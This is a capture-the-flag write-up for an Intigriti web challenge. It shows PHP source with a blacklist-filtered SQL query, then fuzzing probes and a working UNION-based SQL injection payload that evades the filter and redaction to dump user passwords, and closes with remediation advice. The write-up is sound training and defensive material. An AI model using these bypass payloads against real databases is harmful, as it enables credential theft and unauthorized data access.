- Category: Web
- Impact: Medium
- Solves: ~40
Find the flag
on server-side.
The solution:
- Should retrieve the flag from the web server;
- Should not use another challenge on the
intigriti.io
domain; - The flag format is
INTIGRITI{.*}
.
For this September month, we have a web challenge page displaying a list of 10 (up to 101) database users:
<?php
if (isset($_GET['showsource'])) {
highlight_file(__FILE__);
exit();
}
require_once("config.php");
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
];
try {
$pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
exit("Unable to connect to DB");
}
$max = 10;
if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
$max = $_GET['max'];
$words = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set",
"=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
foreach ($words as $w) {
if (preg_match("#".preg_quote($w)."#i", $max)) {
exit("H4ckerzzzz");
} // no weird chars
}
}
try{ // seen in production
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
$stmt->execute();
$results = $stmt->fetchAll();
}
catch(\PDOException $e){
exit("ERROR: BROKEN QUERY");
}
/* FYI
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
email VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
); */
?>
<!DOCTYPE html>
<html lang="en">
<body>
<head>
<meta charset="UTF-8">
<title>Users</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<div class="container mt-5">
<h2>Users</h2>
<table class="table table-bordered">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<?php foreach ($results as $row): ?>
<tr>
<td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td>
<td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
<td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<div class="text-center mt-4">
<!-- Show Source Button -->
<a href="?showsource=1" class="btn btn-primary">Show Source</a>
</div>
</div>
<!-- including Bootstrap & jQuery -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>
We quickly notice the problem of some possible SQL injection
on the filtered $max
parameter:
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
The SQL injection
is a type of cyberattack where an attacker inserts malicious Structured Query Language code into a database query to manipulate the database or access unauthorized data.
We will also need to find a way to display the password VARCHAR(255) NOT NULL
entity, in relational algebra:
So in PHP, the strpos function can find the position of the first occurrence of a substring in a string and this last part of filtering will be easily bypassed, since the id
integer parameter will not be there (in lowercase) as a string value:
<?= htmlspecialchars(strpos($row['id'],"INTIGRITI") === false ? $row['id']:"REDACTED"); ?>
We will try different types of fuzzing anthologies:
max=true*15
returns the firstfifteen
users;max=0eunion
returnsERROR: BROKEN QUERY
error;max=1*(select(1))
returns the first1 Sgrum0x [email protected]
user;max=1*(1)union(select(current_user()),1,1)
returns the firstroot@% 1 1
user;max=md5(9)
equals to45c48cce2e2d7fbdea1afc51c7c6ad26
that behaves as the integer45
who returns the first45
users;select(quote(mid(md5(4),1,1)))
returns the varchar letter'a'
in SQL;select(encode(mid(8,1,1),52))
returns the BLOB letterp
in SQL;select(decode(decode(true,0),4))
returns theBLOB
letterr
in SQL;limit(0,1)
can't be used directly, we won't need Sqlmap tool either;#%~?!@\s\0👀,
are differently filtered;select(round(cos(3)))
returns the-1
negative integer;@@session.time_zone
returns theSYSTEM
varchar;user()
returns the[email protected]
varchar;_rowid
returns the pseudo column mapped to theprimary key
in the related table.
In particular, we can launch a database locally in a Docker container.
We take a look to PayloadsAllTheThings to help adding direct variables to display all the columns in one row.
We see that we can combine different queries from the users
table as the union(select(id),id,(id)from(users))
code.
We then use the Mid
function to display almost the data of the password
column and thereforce, we easily obtain a valid max=0*(0)union(select(mid(zzzz,2,50)),(0),(0)from(select(0)z,(0)zz,(0)zzz,(0)zzzz,(0)union(select*,(0)from(users)))t)
SQL injection request!
Here is an explanation of the above request:
0*(0)
is used to ensure that the first part of theUnion
statement does not return any meaningful data;union
clause is used to combine the result sets of two or moreSelect
statements;select(mid(zzzz,2,50))
code extract data from an alias column namedzzzz
(aspassword
) and uses theMid
function to extract a substring starting from the 2nd character with a length of 50 characters, bypassingstrpos
check;(0),(0)
are placeholders for additional columns in the result set;from(select(0)z,(0)zz,(0)zzz,(0)zzzz,(0)union(select*,(0)from(users)))t)
subquery create a derived tablet
(orn
) with multiple rows, each containing zeros because the purpose is to match the number of columns in the main query so theselect *, (0) from (users)
part extract data from theusers
table.
Overall, this will gives us the following flag INTIGRITI{bl4ckli5t1ng_1z_n0t_7h3_w4y}
.
The SHA3-256 hash of this flag is 393231035aea568bf671e16e6032234ea76d051fd2e0d92f5e34389e016cba5b
.
- Validating and sanitizing
user
inputs, prepared statements and parameterized queries; - Better appropriate and suitable
blacklisting
; - No
showsource
(which displays source code, without rights) orstrpos
usage in plaintext; - Password
encryption
with salt on Argon2id key derivation function.
Have a nice day and see you for the next challenge!